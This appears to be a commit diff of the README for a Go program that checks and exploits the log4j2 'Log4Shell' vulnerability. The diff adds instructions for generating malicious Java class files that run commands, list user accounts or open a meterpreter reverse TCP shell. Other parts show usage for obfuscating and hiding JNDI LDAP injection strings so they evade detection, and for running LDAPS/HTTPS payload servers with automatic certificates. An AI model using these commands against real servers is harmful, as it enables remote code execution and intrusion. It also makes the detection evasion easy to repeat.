33 [ ![ Go Report Card] ( https://goreportcard.com/badge/github.com/For-ACGN/Log4Shell )] ( https://goreportcard.com/report/github.com/For-ACGN/Log4Shell )
44 [ ![ GoDoc] ( https://godoc.org/github.com/For-ACGN/Log4Shell?status.svg )] ( http://godoc.org/github.com/For-ACGN/Log4Shell )
55 [ ![ License] ( https://img.shields.io/github/license/For-ACGN/Log4Shell.svg )] ( https://github.com/For-ACGN/Log4Shell/blob/master/LICENSE ) \
6- Check, exploit, obfuscate, TLS, ACME about log4j2 vulnerability in one Go program.
6+ Check, exploit, generate class, obfuscate, TLS, ACME about log4j2 vulnerability in one Go program.
77
88## Feature
99 * Only one program and easy deployment
1010 * Support common operating systems
1111 * Support multi Java class files
1212 * Support LDAPS and HTTPS server
1313 * Support ACME to sign certificate
14+ * Generate class without java compiler
1415 * Support obfuscate malicious(payload)
1516 * Hide malicious(payload) string
1617 * Add secret to protect HTTP server
2829 ### Start Log4Shell server with ACME
2930 * ``` Log4Shell.exe -host "example.com" -auto-cert ``` (must use domain name)
3031
32+ ### Generate Java class file
33+ ```
34+ Execute(no output):
35+ Log4Shell.exe -gen "execute" -args "-cmd calc" -class "Test"
36+
37+ System(with output):
38+ Log4Shell.exe -gen "system" -args "-bin cmd -args \"/c net user\"" -class "Test"
39+
40+ ReverseTCP(java/meterpreter/reverse_tcp): // template will be open source after some time
41+ Log4Shell.exe -gen "reverse_tcp" -args "-host 127.0.0.1 -port 9979" -class "Test"
42+
43+ The generated class file will be saved to the payload directory(can set output flag)
44+ ```
45+
3146 ### Obfuscate malicious(payload) string
3247 ```
3348 Log4Shell.exe -obf "${jndi:ldap://1.1.1.1:3890/Calc}"
4459 Each string can only be used once, or wait 20 seconds.
4560 ```
4661 ```
47- When obfuscate malicious(payload) string, log4j2 package will repeat execute it, the number
48- of repetitions is equal the number of occurrences about string "${". The LDAP server add a
49- simple token mechanism for prevent it.
62+ When obfuscate malicious(payload) string, log4j2 package will repeat execute it, the number of
63+ repetitions is equal the number of occurrences about string "${". The LDAP server add a simple
64+ token mechanism for prevent it.
5065 ```
5166
5267 ### Hide malicious(payload) string
111126 https://github.com/For-ACGN/Log4Shell
112127
113128Usage of Log4Shell.exe:
129+ -args string
130+ arguments about generate Java class file
114131 -auto-cert
115132 use ACME client to sign certificate automatically
133+ -class string
134+ specify the new class name
135+ -gen string
136+ generate Java class file with template name
116137 -hide
117138 hide obfuscated malicious(payload) string in log4j2
118139 -host string
@@ -129,6 +150,8 @@ Usage of Log4Shell.exe:
129150 not add random token when use obfuscate
130151 -obf string
131152 obfuscate malicious(payload) string
153+ -output string
154+ generated Java class file output path
132155 -payload string
133156 payload(java class) directory (default "payload")
134157 -tls-cert string
0 commit comments